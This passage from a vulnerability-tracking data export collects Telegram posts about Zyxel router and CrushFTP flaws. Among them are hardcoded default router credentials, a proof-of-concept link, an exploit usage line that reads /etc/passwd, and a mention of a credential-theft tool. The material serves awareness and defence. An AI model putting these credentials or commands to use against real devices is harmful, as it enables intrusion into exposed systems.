\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Zyxel \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442\u0441\u044f, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 Amazon. \u041f\u043e\u0447\u0442\u0438 1500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2025-02-06T01:01:44.000000Z"}, {"uuid": "8025d76d-45e4-4018-b72c-c61d5c8f7050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://t.me/sysodmins/24764", "content": "Zyxel \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043a\u0443\u043f\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0442\u0430\u0440\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u270b\n\n\u25aa\ufe0f \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 Zyxel \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c\u0438. \u0415\u0449\u0451 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2024 \u0433\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0438 \u043e \u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e, \u043e\u0434\u043d\u0430\u043a\u043e \u043b\u0438\u0448\u044c \u043d\u0430\u043a\u0430\u043d\u0443\u043d\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Zyxel \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u00ab\u043d\u0435\u0434\u0430\u0432\u043d\u043e\u00bb \u0443\u0437\u043d\u0430\u043b\u0430 \u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \ud83d\ude44\n\n\u25aa\ufe0f \u041e\u043d\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043f\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 CVE-2024-40890 \u0438 CVE-2024-40891 \u0438, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0441 \u0438\u0441\u0442\u0435\u043a\u0448\u0438\u043c\u0438 \u0441\u0440\u043e\u043a\u0430\u043c\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438.\n\n\u25aa\ufe0f \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u043f\u0442\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b\u00bb. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0441\u043d\u044f\u0442\u044b\u0445 \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Zyxel \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442\u0441\u044f, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 Amazon. \u041f\u043e\u0447\u0442\u0438 1500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2025-02-06T01:01:44.000000Z"}, {"uuid": "4a8bcf59-f911-44e5-8f5d-82796827a968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/sysodmins/21830", "content": "1400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 CrushFTP, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043d\u0430 \u0433\u0440\u0430\u043d\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2328\ufe0f\n\n\u041e\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u0430\u0442\u0430\u043a\u0430\u043c, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u043c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-4040. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043d\u0435\u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f CrushFTP \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b (VFS) \u0438 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u0435\u0433\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430. \n\n\ud83e\udd78 godnoTECH - \u041d\u043e\u0432\u043e\u0441\u0442\u0438 IT", "creation_timestamp": "2024-04-28T15:27:13.000000Z"}, {"uuid": "63106ace-471f-4336-a0d7-63cb45f8fce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4464", "content": "CVE-2024-4040-SSTI-LFI-PoC: CVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover | Wordlist Support #GitHub #CVE-2024-4040 #SSTI #LFI #PoC https://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2026-08-02T08:08:45.361437Z"}, {"uuid": "36ccc1bf-95c3-40d9-b948-f5a1358199f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://t.me/purp_sec/240", "content": "\u0420\u0435\u0431\u044f\u0442, \u0432\u044b \u0436\u0435 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442\u0435 \u0441\u0432\u043e\u0439 \u0441\u043e\u0444\u0442, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CVE. \u0412\u043e\u0442 \u0438 Zyxel \u0442\u043e\u0436\u0435 \u0440\u0435\u0448\u0438\u043b\u0430 \u043d\u0435 \u043f\u0430\u0440\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0442 \u0441\u0447\u0435\u0442. \u0422\u0430\u043a \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u0433\u043e \u0441\u043f\u0438\u0445\u0438\u0432\u0430\u0442\u044c \u0432\u0438\u043d\u0443 \u0437\u0430 \u0442\u043e \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0434\u044b\u0440\u044f\u0432\u043e\u0435 \u041f\u041e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u0442\u043e\u0438\u0442!\n\n\u0412 \u043e\u0431\u0449\u0435\u043c, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u0442\u0440\u0435\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 CVE \u0432 DSL CPE:\n\n\ud83d\udd34CVE-2024-40890 - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f HTTP POST \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\ud83d\udd34CVE-2024-40891 - \u043f\u043e\u043b\u044c\u0437\u0443\u044f\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libcms_cli.so \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Telnet.\n\ud83d\udd34CVE-2025-0890 - \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435\u0441\u0435\u043a\u044c\u044e\u0440\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 supervisor:zyad1234 \u0438\u043c\u0435\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0430 zyuser:1234 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nZyxel \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u044b\u0440 \u0438 \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b\u0430\u2026 \u043a\u0443\u043f\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0432\u043e\u0432\u0441\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u0441\u0442\u0430\u0442\u0443\u0441 EOL, \u0432\u0441\u0435 \u0435\u0449\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043d\u0430\u0440\u043e\u0434\u043e\u043c.\n\n#red_team #Zyxel", "creation_timestamp": "2026-08-04T13:00:13.574920Z"}, {"uuid": "f046016f-562b-4dce-bc19-fd643771bd4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/purp_sec/240", "content": "\u0420\u0435\u0431\u044f\u0442, \u0432\u044b \u0436\u0435 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442\u0435 \u0441\u0432\u043e\u0439 \u0441\u043e\u0444\u0442, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CVE. \u0412\u043e\u0442 \u0438 Zyxel \u0442\u043e\u0436\u0435 \u0440\u0435\u0448\u0438\u043b\u0430 \u043d\u0435 \u043f\u0430\u0440\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0442 \u0441\u0447\u0435\u0442. \u0422\u0430\u043a \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0430 \u043a\u043e\u0433\u043e \u0441\u043f\u0438\u0445\u0438\u0432\u0430\u0442\u044c \u0432\u0438\u043d\u0443 \u0437\u0430 \u0442\u043e \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0434\u044b\u0440\u044f\u0432\u043e\u0435 \u041f\u041e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u0442\u043e\u0438\u0442!\n\n\u0412 \u043e\u0431\u0449\u0435\u043c, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u0442\u0440\u0435\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 CVE \u0432 DSL CPE:\n\n\ud83d\udd34CVE-2024-40890 - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f HTTP POST \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\ud83d\udd34CVE-2024-40891 - \u043f\u043e\u043b\u044c\u0437\u0443\u044f\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libcms_cli.so \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Telnet.\n\ud83d\udd34CVE-2025-0890 - \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435\u0441\u0435\u043a\u044c\u044e\u0440\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 supervisor:zyad1234 \u0438\u043c\u0435\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0430 zyuser:1234 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nZyxel \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u044b\u0440 \u0438 \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b\u0430\u2026 \u043a\u0443\u043f\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0432\u043e\u0432\u0441\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u0441\u0442\u0430\u0442\u0443\u0441 EOL, \u0432\u0441\u0435 \u0435\u0449\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043d\u0430\u0440\u043e\u0434\u043e\u043c.\n\n#red_team #Zyxel", "creation_timestamp": "2026-08-04T13:00:13.602923Z"}, {"uuid": "b49ae907-1a8e-4f51-ab2b-382a08396e65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/pentestnotes/14", "content": "CVE-2024-4040 CrushFTP  RCE\n*\nCrushFTP \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 10.7.1 \u0438 11.1.0 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b VFS, \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430\n*\nUsage:\npython exploit.py -u https://example.com -p /etc/passwd\n*\nExploit\n\n#rce #ftp", "creation_timestamp": "2026-08-04T13:00:18.041769Z"}, {"uuid": "2405f5b2-19f4-4074-8cf6-2b27fb4b3d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40628", "type": "seen", "source": "https://t.me/referencebooks0/330", "content": "Hypersec:\nThievingFox\n\n\u0627\u0628\u0632\u0627\u0631 ThievingFox \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u0627\u06cc \u0627\u0632 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc post-exploitation\u00a0 \u0628\u0631\u0627\u06cc \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u0627\u0639\u062a\u0628\u0627\u0631 \u0627\u0632 password managers \u0645\u062e\u062a\u0644\u0641 \u0648 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a. \u0647\u0631 \u0645\u0627\u0698\u0648\u0644 \u0627\u0632 \u0645\u062a\u062f \u062e\u0627\u0635\u06cc \u0628\u0631\u0627\u06cc \u062a\u0632\u0631\u06cc\u0642 \u0628\u0647 